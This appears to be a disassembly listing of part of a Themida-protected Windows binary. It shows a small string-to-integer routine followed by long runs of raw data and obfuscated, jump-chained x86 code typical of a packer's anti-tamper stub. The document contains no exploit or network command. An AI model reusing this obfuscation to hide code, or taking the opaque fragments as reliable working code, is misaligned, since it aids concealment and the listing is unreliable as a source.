		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_54426E
; ---------------------------------------------------------------------------


loc_54426C:				; CODE XREF: Themida_:00544271j
		inc	eax
		inc	edi


loc_54426E:				; CODE XREF: Themida_:0054426Aj
		cmp	byte ptr [edi],	0
		jnz	short loc_54426C
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_54429D
; ---------------------------------------------------------------------------


loc_54427A:				; CODE XREF: Themida_:0054429Fj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_544292
; ---------------------------------------------------------------------------


loc_54428F:				; CODE XREF: Themida_:00544295j
		mul	ebx
		dec	esi


loc_544292:				; CODE XREF: Themida_:0054428Dj
		cmp	esi, 0
		ja	short loc_54428F
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_54429D:				; CODE XREF: Themida_:00544278j
		or	eax, eax
		jnz	short loc_54427A
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 6Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 49E5C350h, 8A0F1A19h, 9, 10DA8160h, 0F5370583h
		dd 8BDA8B61h, 1A3AE9C1h, 2, 3F0000h, 280259h, 0EFC70259h
		dd 0FF68005Ah, 0F4B90012h, 0F4B9005Ah, 246005Ah, 20000h
		dd 10000h, 60000h, 0C6AA0000h, 0FA0Fh, 4 dup(0)
		dd 89F30000h, 0E5620054h, 86640054h, 0FA6C0054h, 0F41F0054h
		dd 1390054h, 0BE250055h, 0F8530054h, 4B020054h,	5F100054h
		dd 0D1E80054h, 0BA0C0054h, 0EC020054h, 0B5D90054h, 0C3E70054h
		dd 900D0054h, 81B40054h, 46890054h, 6A990054h, 9280054h
		dd 71C70055h, 0B3D90054h, 0B5E50054h, 0C5A90054h, 0F8290054h
		dd 0E8840054h, 0AB2C0054h, 0FD8C0054h, 0A43B0054h, 55900054h
		dd 7BBF0054h, 0DFF40054h, 0E2570054h, 330054h, 0CF480055h
		dd 0D29D0054h, 0D8140054h, 0D45F0054h, 79090054h, 0EE760054h
		dd 0D38F0054h, 0EA130054h, 51D10054h, 4F4F0054h, 0A1840054h
		dd 0E49E0054h, 0F2250054h, 6D360054h, 0B2500054h, 81900054h
		dd 0C3AF0054h, 0AE810054h, 4DA00054h, 0A97E0054h, 0FB440054h
		dd 0F81C0054h, 0EDAD0054h, 0E3BD0054h, 0C1960054h, 0A950054h
		dd 0C9DB0055h, 0D4E90054h, 0BDDC0054h, 0A4440054h, 898C0054h
		dd 9350054h, 0E56E0055h, 0E03E0054h, 530A0054h,	583D0054h
		dd 91EE0054h, 0E74E0054h, 0E8FD0054h, 6DD70054h, 0EB230054h
dword_544450	dd 0ABD70054h, 4D150054h, 0D3F50054h, 8640054h,	4C9C0055h
					; DATA XREF: ___:off_43B084o
		dd 4FDE0054h, 9BFB0054h, 92490054h, 0C55C0054h,	5E170054h
		dd 0AB7F0054h, 95C50054h, 0E5C30054h, 4A740054h, 641C0054h
		dd 0DFB00054h, 0D7130054h, 0B6C50054h, 4DB30054h, 0F4E40054h
		dd 97CF0054h, 6C5A0054h, 92020054h, 77690054h, 0A5540054h
		dd 0FC540054h, 7DA70054h, 0DBB50054h, 0C5D10054h, 9F160054h
		dd 72C80054h, 0F37B0054h, 942B0054h, 0D9410054h, 20D0054h
		dd 5A4E0055h, 0E48B0054h, 0F1990054h, 1ED0054h,	0FE1F0055h
		dd 3B60054h, 47020055h,	824A0054h, 0CE3B0054h, 8EA00054h
		dd 0B2840054h, 6D850054h, 0E7F70054h, 598E0054h, 76080054h
		dd 98870054h, 0CB240054h, 58C80054h, 0C4A40054h, 0E6A30054h
		dd 0C2C90054h, 879D0054h, 58920054h, 0AB040054h, 613B0054h
		dd 0E1770054h, 0E4C00054h, 0EBA40054h, 8B330054h, 0BEAB0054h
		dd 0D6030054h, 80A0054h, 7C440055h, 61F90054h, 0F6EA0054h
		dd 0A14B0054h, 0DD640054h, 60980054h, 0B4200054h, 75850054h
		dd 6E40054h, 0E6F80055h, 64030054h, 0FF980054h,	5D9F0054h
		dd 94F90054h, 0DC660054h, 0CDFF0054h, 6C8C0054h, 6BE30054h
		dd 0BCC60054h, 62320054h, 0F1690054h, 0AA520054h, 8E830054h
		dd 0FD340054h, 0C27A0054h
		db 54h,	0
; ---------------------------------------------------------------------------


loc_5445C2:				; CODE XREF: Themida_:005667E7j
					; Themida_:00592910j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6447F20h
		mov	eax, edi
		add	edi, 6447C38h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5445E0
		jmp	short loc_5445F3
; ---------------------------------------------------------------------------


loc_5445E0:				; CODE XREF: Themida_:005445DCj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5445EF
; ---------------------------------------------------------------------------


loc_5445EA:				; CODE XREF: Themida_:005445F1j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5445EF:				; CODE XREF: Themida_:005445E8j
		or	ecx, ecx
		jnz	short loc_5445EA


loc_5445F3:				; CODE XREF: Themida_:005445DEj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_544600:				; CODE XREF: Themida_:00544607j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_544600


loc_544609:				; CODE XREF: Themida_:loc_5461F4j
					; Themida_:00546791j ...
		lodsb
		xor	al, bl
		push	ecx
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_54C871
; ---------------------------------------------------------------------------
aJcsze		db '├ГИ╖┘',0
		dw 3000h
		dd 801DE9F4h, 68590000h, 3A95h,	0FF241C89h, 5B042474h
		dd 6134E9h, 4EA8100h, 1399D33h,	4C281EAh, 5D399D33h, 46853h
		dd 0E95B0000h, 81CAh, 700568h, 24348900h, 503110BEh, 7A99E924h
		dd 0D6F70000h, 8106EEC1h, 0F50BC6C6h, 4BF68100h, 8178E567h
		dd 0F478B2EEh, 5EF0295Dh, 89C7E9h, 9E9AC00h, 30000059h
		dd 43ADE9F4h, 8F660000h, 0FF6BE900h, 8951FFFFh,	4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 2404895Ch, 0EE64FE68h, 0E0C15804h
		dd 5E8C102h, 8904EC83h,	9FBD242Ch, 31009DCCh, 9E95DE8h
		dd 1000031h, 0FB015DEBh, 5F65E9h, 4E6A6800h, 34890000h
		dd 4EC8124h, 89000000h,	96E92424h, 5100005Fh, 5381E953h
		dd 248B0000h, 0AFB6E924h, 34FF0000h, 0E685924h,	0E9000041h
		dd 0BCCEh, 5C240487h, 9C2404FFh, 9CDE9h, 95C68100h, 1656571h
		dd 95EE81C6h, 58656571h, 0EE81DE29h, 7D5E1DE9h,	81241C8Bh
		dd 4C4h, 774AE900h, 0C2810000h,	4, 5C241487h, 0E9E78957h
		dd 0ACBh, 39A6E941h, 0E1C10000h, 0F6E98102h, 1067947h
		dd 240C8BCFh, 78C2E9h, 4055800h, 53000000h, 89175FBBh
		dd 29EB8121h, 0C12B457Ah, 0DE908EBh, 1000035h, 9CC281C2h
		dd 0E9370D44h, 7B78h, 52C60158h, 311834BAh, 43EE8155h
		dd 2906E86Dh, 43C681D6h, 5A06E86Dh, 8904EC83h, 0E9BF243Ch
		dd 0C118A357h, 0D7F705E7h, 1161F781h, 0B850658Eh, 0FFFFFFFFh
		dd 8158C729h, 0CA121DC7h, 5FFE019Dh, 0E57A3BBh,	3B82E914h
		dd 555D0000h, 7AE95D54h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5447E7:				; CODE XREF: Themida_:0054D82Ej
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	4CF6h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	11h
		mov	[esp], ebx
		push	346C47BAh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54C1FD
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0CCC2E87Ch, 680EE9h,	24148900h, 17E95255h, 0FE000029h
		dd 0E99C240Ch, 0FFFFFDC5h, 88241C89h, 88C7FED7h, 0B93BE9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544852:				; CODE XREF: Themida_:00545D6Ej
		or	ebx, ebx
		jnz	loc_54EA7B
		push	2B11h
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_5474E7
; ---------------------------------------------------------------------------
		dw 0B105h
		dd 35542252h, 31F578F0h, 0EDE9C231h, 81000040h,	0E35191C1h
		dd 39C18128h, 2D047E42h, 125F7B45h, 4505C801h, 8B125F7Bh
		dd 8957240Ch, 0D1E953E7h, 29000063h, 0EAC15DEAh, 0F7D2F707h
		dd 0BAC281D2h, 81FF06CFh, 0AE643AEBh, 81D3015Bh, 0AE643AC3h
		dd 23E95A5Bh, 680000C2h, 626h, 0BB241C89h, 359E3CECh, 40E9DE21h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5448D7:				; CODE XREF: Themida_:0054BA67j
		mov	edx, 7DEC4D4Ah
		xor	edx, 40FA5E66h
		mov	ebp, edx
		pop	edx
		or	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edi, 4EDFF695h
		sub	eax, edi
		pop	edi
		sub	ecx, eax
		pop	eax
		push	10D7h
		jmp	loc_5457C7
; ---------------------------------------------------------------------------


loc_544906:				; CODE XREF: Themida_:0054C7F4j
		push	edx
		mov	edx, 12526ECAh
		jmp	loc_54AD2E
; ---------------------------------------------------------------------------
		dd offset dword_595368
		align 2
		dw 489h
aS_5		db '$И',8,0Dh,0
		align 2


loc_54491E:				; CODE XREF: Themida_:0054911Fj
		pop	eax
		add	ebx, 945224Ch
		push	6C3Dh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5D357DF2h
		jmp	loc_54D9C0
; ---------------------------------------------------------------------------
		dd 0F659E888h, 58C688D0h, 244CFE52h, 66535A01h,	8873B551h
		dd 665966EFh, 0E9D6B551h, 0A991h
; ---------------------------------------------------------------------------


loc_544960:				; CODE XREF: Themida_:00546F8Bj
		add	esp, 4
		jmp	loc_54F887
; ---------------------------------------------------------------------------
		dd 3CC1BB53h, 0C38124EEh, 2A7474C6h, 20C38143h,	29E89898h
		dd 0ED815BDDh, 99B798Bh, 9BA8F581h, 0A8E92A19h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54498F:				; CODE XREF: Themida_:0054B4F6j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_54C7DD
; ---------------------------------------------------------------------------
		dw 565Fh
		dd 5A56EE89h, 96055D5Eh, 1247276h, 0AE953D0h, 8100001Bh
		dd 4C1h, 4E98100h, 87000000h, 0E95C240Ch, 35E6h, 0BF57F229h
		dd 37461EC3h, 658CE9h, 66900400h, 0E9718F68h, 79Bh, 5293685Ah
		dd 2C890000h, 484BD24h,	0CD810B83h, 3C95205Eh, 24DAED81h
		dd 0EA813F97h, 56E30F33h, 8824E9h
		db 0
; ---------------------------------------------------------------------------


loc_544A01:				; CODE XREF: Themida_:0054B260j
		add	esp, 4
		push	4EE0h
		mov	[esp], ebp
		jmp	loc_544DD0
; ---------------------------------------------------------------------------
		db 68h,	69h, 22h
		dd 0A3E90000h, 0D00002Ah, 279C778Ah, 634A7405h,	0C1E8D151h
		dd 9FE905E0h, 0BF0000ADh, 2489030Ah, 3C8BFE09h,	4C48324h
		dd 7C6BE9h, 24442900h, 0FBE95804h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544A4B:				; CODE XREF: Themida_:00549F8Ej
		sub	ecx, edi
		pop	edi
		push	ebx
		jmp	loc_545CDC
; ---------------------------------------------------------------------------
		dd 4245C01h, 4504E9h
		db 0
; ---------------------------------------------------------------------------


loc_544A5D:				; CODE XREF: Themida_:00544ABDj
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_5493F1
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0BCFBh, 405h, 7FAB6800h,	3C890000h, 37A8E924h
		dd 0D1F60000h, 306EE980h, 0B00459CEh, 0B02CF000h, 2CD8005Ah
		dd 91A2E95Ch, 0FE010000h, 4EE815Fh, 56000000h, 42474FFh
		dd 0E924348Bh, 7C5Bh
; ---------------------------------------------------------------------------


loc_544ABC:				; CODE XREF: Themida_:005494E9j
		push	ebp
		jmp	loc_544A5D
; ---------------------------------------------------------------------------
		dw 0D589h
		dd 7F12BA5Ah, 0EA29A155h, 4EC815Dh, 89000000h, 8FE9242Ch
		dd 580000B4h, 8904EC83h, 6852242Ch, 4378h, 0B8240489h
		dd 4, 0EFE9C289h, 33000051h, 248B243Ch,	0FB07E924h, 8B66FFFFh
		dd 0D0E9240Ch
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544B0B:				; CODE XREF: Themida_:00549460j
		pop	ebx
		jmp	loc_550575
; ---------------------------------------------------------------------------
aPsk		db 'PИK]',0
		dw 8100h
		dd 0EB3848F7h, 6052E917h, 0FD880000h, 7AE9EE88h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544B2B:				; CODE XREF: Themida_:00545D2Bj
		xor	ecx, 0AFA6339h
		and	ecx, 7B4176F0h
		xor	ecx, 1EC950E8h
		sub	ecx, 4F895634h
		add	edi, ecx
		pop	ecx
		jmp	loc_5489AC
; ---------------------------------------------------------------------------
		db 68h
		dd 6F90h, 2CA9E9h, 24048300h, 24048B04h, 4DC4E9h, 0E3895300h
		dd 4C381h, 0C3810000h, 4, 0E9241C87h, 614Ch, 4BB535Eh
		dd 0E9208200h, 5DAFh, 6809BD55h, 0E5C1767Fh, 4E07E903h
		dd 0C4810000h, 2, 4EC81h, 14890000h, 0E9BDB624h, 48A9h
		dd 31241433h, 54E92414h, 4700007Ch, 0F3DE781h, 0EF816BB8h
		dd 63100207h, 1C61E9h, 0BFB95100h, 0E9111124h, 71Fh
; ---------------------------------------------------------------------------


loc_544BD0:				; CODE XREF: Themida_:00549C5Cj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Ch
		jmp	loc_545F46
; ---------------------------------------------------------------------------
		db 0BFh, 71h, 4Ch
		dd 0EC683904h, 89000013h, 90B82404h, 52C6FBB3h,	0C281E289h
		dd 4, 0B89CE9h,	24348B00h, 8104C483h, 390E44C7h, 1E68FD53h
		dd 89000075h, 8568242Ch, 8900002Bh, 0A3682434h,	8B7D9946h
		dd 0C4812434h, 4, 46A96851h, 31597D99h,	6EE959CEh, 89000095h
		dd 0F1015DEEh, 28AF685Eh, 2C890000h, 2BD24h, 0E9010000h
		dd 3365E9h, 0E9C15F00h,	35A36806h, 1C890000h, 2434FF24h
		dd 4EC8358h, 28B3E9h, 81FA0100h, 0A56438C2h, 14875F7Eh
		dd 0F665C24h, 9C2404A3h, 0FFF988E9h, 0FECCFEFFh, 714BE9C4h
		dd 4310000h, 24043324h,	24248Bh, 0E99C2404h, 0FFFFF96Dh
		dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFFF95Dh
; ---------------------------------------------------------------------------


loc_544CAC:				; CODE XREF: Themida_:0054E140j
		mov	[esp], edi
		jmp	loc_54CB75
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC810000h, 4, 0B5240C89h, 1ED804Bh,	8008E5C0h
		dd 0E8207FC5h, 8B2434FFh, 0C483240Ch, 0E1895104h, 112EBA52h
		dd 0F281211Ah, 211A112Ah, 535AD101h, 4BBh, 2443E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544CF6:				; CODE XREF: Themida_:0054DFD4j
		mov	edi, esp
		jmp	loc_54707F
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 7
		dd 1EB81h, 68520000h, 6042281Ch, 5AD3315Ah, 838AE9h, 0C8B6600h
		dd 9936E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544D1E:				; CODE XREF: Themida_:00546B81j
		mov	ebp, 0FC52843Fh
		sub	edx, ebp
		pop	ebp
		jmp	loc_545193
; ---------------------------------------------------------------------------
		db 81h
		dd 54B3242Ch, 0BE562940h, 5BAD6457h, 4247401h, 4770E95Eh
		dd 3C890000h, 815F5424h, 4C7h, 2B95100h, 81000000h, 0B32D09C7h
		dd 57C78114h, 81097B74h, 0A914D3EFh, 0E9CF0114h, 9194h
		dd 842376BDh, 31E5E960h, 0EF340000h, 25C5E9h, 59CF8900h
		dd 835FF801h, 43304C0h,	3689E924h, 0F1010000h, 6F8EE9h
		dd 4EC8300h, 0E9240C89h, 8F3Fh,	240C8B66h, 165E68h, 242C8900h
		dd 6FE9E589h, 0AD000012h, 6373D82Dh, 73BA524Eh,	2D4FAB19h
		dd 7C4E2310h, 1005D029h, 0E97C4E23h, 1039h
; ---------------------------------------------------------------------------


loc_544DD0:				; CODE XREF: Themida_:00544A0Cj
		push	3BF9h
		mov	[esp], ecx
		jmp	loc_54BCD6
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 23h
		dd 0F7282274h, 0FF681D6h, 0E96D956Bh, 6B75h
; ---------------------------------------------------------------------------


loc_544DF0:				; CODE XREF: Themida_:0054B84Aj
		add	ebx, 4
		jmp	loc_5497B2
; ---------------------------------------------------------------------------
		db 55h
		dd 705976BDh, 55BE5621h, 5178FE5Fh, 877ED568h, 0C9815951h
		dd 451361A5h, 5137C181h, 0E9815905h, 570ECB4Ch,	0C8BCA89h
		dd 4C48124h, 29000000h,	0EA015EF2h, 8BD0215Dh, 89502414h
		dd 405E0h, 68E90000h, 5F00000Bh, 0F64CEE81h, 0F30109D6h
		dd 53C3815Eh, 15E354Ch,	53EB81D3h, 815E354Ch, 97136EBh
		dd 0B8505A18h, 3E02FFEh, 48BC301h, 0E0895024h, 405h, 4C08300h
		dd 5C240487h, 0EB81C301h, 3E02FFEh, 5F98EB81h, 30FF0D26h
		dd 13A8E9h, 20578900h, 8324148Bh, 81E904C4h, 2900007Eh
		dd 0BA522404h, 410B5563h, 40A1BF57h, 6C816921h,	51020824h
		dd 19E973D0h, 0F7000098h, 75E946D6h, 1000042h, 242C8BE9h
		dd 8104C483h, 4C1h, 240C8700h, 8BD8315Ch, 0C481241Ch, 4
		dd 4E8C68h, 2298E900h, 0DBF70000h, 0F381E3D1h, 0E2A7C33Fh
		dd 37B3E9h, 4875A00h, 24248B24h, 0FFF704E9h, 35D8F7FFh
		dd 75AB5ACBh, 707DE9h, 243C8900h, 63FD68h, 24348900h, 0D75D6B68h
		dd 0BB535E5Dh, 9B01EF8h, 36E9DE31h, 80000062h, 6866C5C6h
		dd 89664A40h, 0B450240Ch, 51526600h
		db 0B1h, 0AEh
word_544F42	dw 0F180h		; DATA XREF: ___:off_436CE8o
aNasFss9	db 'N─И+fSИ(9',0
		dw 8F00h
		dd 0B2E94047h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544F57:				; CODE XREF: Themida_:0054BB91j
		mov	[esp], edx
		mov	edx, 80h
		jmp	loc_54B4CD
; ---------------------------------------------------------------------------
		dd 4C481h, 87680000h, 89000062h, 0E954240Ch, 78B2h, 4026685Ch
		dd 34890000h, 2931E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544F86:				; CODE XREF: Themida_:00546759j
		neg	ecx
		xor	ecx, 0C1208803h
		sub	esi, ecx
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_548C4C
; ---------------------------------------------------------------------------
aZQs		db '┤йQИ\',0
		db 2 dup(0), 81h
		dd 4C7h, 4C78300h, 0E9243C87h, 3454h, 0FF04C483h, 51592434h
		dd 0C181E189h, 4, 4C181h, 0E9510000h, 638Ch, 8B241C87h
		dd 0C8852424h, 0F62BE99Ch, 77FFFFFFh, 11589D1Ch, 0E99C2404h
		dd 0FFFFF61Dh, 1C8BD931h, 4C48324h, 0C8BCE01h, 27E95224h
		dd 0F70000B1h, 87592414h, 55D2F7CAh, 0AC11D1BDh, 1FCD8172h
		dd 4D11CB13h, 5865C581h, 0C281FB94h, 2FD2460h, 54E9EA01h
		dd 0B700005Ah, 0F7B450C4h, 0C4FEC4FEh, 5206E4C0h, 0CE8023B6h
		dd 0DAEE8031h, 0C0B6EE80h, 7E904EEh
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545047:				; CODE XREF: Themida_:00548C47j
		mov	[esp], edi
		push	642568DBh
		pop	edi
		push	5ECAh
		mov	[esp], eax
		jmp	loc_54F385
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0Eh
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545063:				; CODE XREF: Themida_:005503D9j
		mov	eax, [esp]
		jmp	loc_545532
; ---------------------------------------------------------------------------
		db 81h
		dd 72264EE7h, 7EFC117h,	23CCE9h, 4EC8300h, 0EA9E9h
		db 0
; ---------------------------------------------------------------------------


loc_545081:				; CODE XREF: Themida_:00549E90j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 50C00F4Ch
		push	ecx
		mov	ecx, 252545D5h
		inc	ecx
		push	ecx
		not	dword ptr [esp]
		inc	dword ptr [esp]
		pop	ecx
		sub	ecx, 0A1A759CFh
		push	ecx
		xor	dword ptr [esp], 3EDC1F5Ch
		pop	edx
		push	ebp
		mov	ebp, 610567E4h
		shr	ebp, 2
		xor	ebp, 269D46A5h
		xor	edx, ebp
		pop	ebp
		pop	ecx
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, edx
		jmp	loc_548BC1
; ---------------------------------------------------------------------------
		dd 4C481h, 28E90000h, 68000029h, 3081h,	81242C89h, 4ECh
		dd 527EE900h, 1AE90000h, 0BAFFFFF5h, 32845668h,	5EAC14Ah
		dd 9CE9D2F7h, 0E9FFFFFEh, 0FFFFF505h, 3C526858h, 34890000h
		dd 51E68924h, 4B9h, 60C68100h, 169B815h, 60EE81CEh, 5969B815h
		dd 180068h, 240C8900h, 4B9h, 59CE0100h,	0E9E28952h, 4961h
		dd 72E9D701h, 5400007Fh, 4C6815Eh, 81000000h, 2EEh, 0E1895100h
		dd 143CBB53h, 81434018h, 0DC7B55C3h, 0E9D3F714h, 852Eh
; ---------------------------------------------------------------------------


loc_545168:				; CODE XREF: Themida_:0054C0FEj
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_548344
; ---------------------------------------------------------------------------
		dw 92E9h
		dd 66FFFFF4h, 0B3241C89h, 66D82816h, 0E9241C8Bh, 4D70h
		dd 80C3005Ah, 43E9D6C3h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545193:				; CODE XREF: Themida_:00544D26j
		add	eax, edx
		push	dword ptr [esp]
		jmp	loc_546BFD
; ---------------------------------------------------------------------------


loc_54519D:				; CODE XREF: Themida_:00546327j
		add	edi, ecx
		pop	ecx
		shl	edi, 5
		jmp	loc_54E620
; ---------------------------------------------------------------------------
		dd 0CEE9CE01h, 30000082h, 53D830C3h, 270DE9h, 24248900h
		dd 4BE56h, 74010000h, 28E90424h, 49000053h, 3014E9h, 0E953AD00h
		dd 7A56h, 0C8110CBDh, 0ACBE5659h, 1477147h, 5F66E9F5h
		dd 0C1590000h, 0EB8303E3h, 3EBC1FFh, 7530F381h,	0D8297553h
		dd 0B8E95F5Bh
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_545203:				; CODE XREF: Themida_:0054EF8Cj
		mov	ebx, 3E1F35F2h
		add	ebx, 7E3906F8h
		jmp	loc_54E440
; ---------------------------------------------------------------------------
		db 0BDh
		dd 40943AB0h, 3E9E989h,	81000078h, 4C7h, 51DDE900h, 0DAE90000h
		dd 0FFFFFFF3h, 148B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 575909A8h
		neg	esi
		xor	esi, 8473B57h
		xor	esi, 0A0E1CD0Bh
		add	ebp, 517C232Fh
		jmp	loc_54777C
; ---------------------------------------------------------------------------


loc_545257:				; CODE XREF: Themida_:00547719j
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	4720h
		jmp	loc_549D79
; ---------------------------------------------------------------------------
		dd 0FEBBh, 1C5F2100h, 56241C8Bh, 0CCE9E689h, 8900006Eh
		dd 28E92404h, 8800003Eh, 0F6515AD1h, 0C8B241Ch,	4C48324h
		dd 5336C180h, 0F928B2B7h, 83241C8Bh, 0EC8304C4h, 24048904h
		dd 0CEE9DFB4h, 8900005Ah, 0E2892414h, 2870E9h, 4C58100h
		dd 68000000h, 4940h, 7629E9h, 4C78100h,	83000000h, 0DE904C7h
		dd 350000ADh, 451295h, 0B16EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5452E1:				; CODE XREF: Themida_:0054802Aj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_54D016
; ---------------------------------------------------------------------------
		db 81h
		dd 993C4AC9h, 0E981490Fh, 1F993CFCh, 242C8151h,	30E62404h
		dd 2D50E958h, 8B660000h, 0E9512404h, 43Bh, 24148759h, 94EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_54531D:				; CODE XREF: Themida_:00549C8Cj
		mov	ebp, [esp]
		push	39AEh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_54B6BB
; ---------------------------------------------------------------------------
aQSP		db 'аО',8,'ИоP',0
		dw 4500h
		dd 2428E9h, 4EB8100h, 53000000h
dword_545350	dd 42474FFh, 465EE9h, 5DEA0100h, 34FFD021h, 0C4815A24h
					; DATA XREF: ___:off_43B044o
		dd 4, 840FC009h, 6C2Ah,	521C77FFh, 81EE9h, 57E38900h, 55D6FBFh
		dd 6BF7813Ah, 13A055Dh,	97BAE9FBh, 0C4830000h, 5EF00104h
		dd 0B0E95657h, 83000067h, 96E904ECh, 5B00007Fh,	0F680CEFEh
		dd 0EBF6802Fh, 285AF328h, 0FAC380EBh, 52665966h, 9A86E9h
		dd 240C3300h, 8924248Bh, 0EC83241Ch, 24048904h,	98243481h
		dd 5B4F523Fh, 0AFB95155h, 525AB60Fh, 0AB71E9h, 4C48300h
		dd 2373E9h, 0C1815800h,	4, 2474FF51h, 48F5904h,	24248B24h
		dd 0DC685056h, 5813E538h, 7A4D68h, 241C8900h, 4F600CBBh
		dd 43D3F74Ah, 0CB81DBF7h, 2E5D6D18h, 92E3F381h,	0D82991A0h
		dd 42F1E9h, 6BE95200h, 5700005Ch, 42474FFh, 83243C8Bh
		dd 48F04C4h, 0B2E95C24h, 890000B7h, 4812424h, 424h, 24048F00h
		dd 0FFF700E9h, 240489FFh, 0FF24478Fh, 81582434h, 4ECh
		dd 242C8900h, 0C581E589h, 4, 8A00E952h,	2B680000h, 89000067h
		dd 34FF2404h, 0C4835E24h, 87565804h, 0DFF7243Ch, 119CE9h
		dd 0C0E95700h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545497:				; CODE XREF: Themida_:00548798j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, 5CFC49D8h
		sub	edi, 157E47D2h
		jmp	loc_54C540
; ---------------------------------------------------------------------------
		db 83h
		dd 48702C0h, 24248B24h,	9C240430h, 730BE9h, 40500h, 0BA520000h
		dd 4, 875AD001h, 0E95C2404h, 0CF0h, 5FD6E957h, 0F6810000h
		dd 60777F42h, 194AEE81h, 0F021FA8Ah, 0FFF67BE9h, 88525AFFh
		dd 0F65266DEh, 66012454h, 5AF3885Ah, 0ACCE9h, 286C2C00h
		dd 5B6C04F8h, 55E9F828h, 0FE00004Eh, 2CC0FEC0h,	2167E919h
		dd 2C330000h, 28B8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545532:				; CODE XREF: Themida_:00545066j
		add	esp, 4
		push	ebp
		mov	ebp, 15356C10h
		xor	eax, ebp
		pop	ebp
		jmp	loc_54961E
; ---------------------------------------------------------------------------


loc_545543:				; CODE XREF: Themida_:0054801Cj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 499C21D0h
		dec	edx
		shl	edx, 7
		xor	edx, 0C66FFFBAh
		and	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		push	edx
		pop	ebx
		pop	edx
		not	edx
		xchg	edx, ebx
		xchg	edx, ebx
		inc	edx
		push	ebx
		push	edx
		pop	ebx
		pop	edx
		push	ebp
		mov	ebp, 313218F2h
		and	ebx, ebp
		pop	ebp
		sub	ebx, 312FE0F0h
		jmp	loc_547426
; ---------------------------------------------------------------------------
		dd 6AF505ADh, 0EE9513Bh
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54559B:				; CODE XREF: Themida_:005460EDj
		dec	ecx
		jmp	loc_547AA3
; ---------------------------------------------------------------------------
		db 59h,	1, 0D8h
		dd 8904EC83h, 20E9240Ch, 80000028h, 0E58070CDh,	0B427E92Ch
		dd 6B00000h, 1BE9C300h,	5C000028h, 5E5168h, 243C8900h
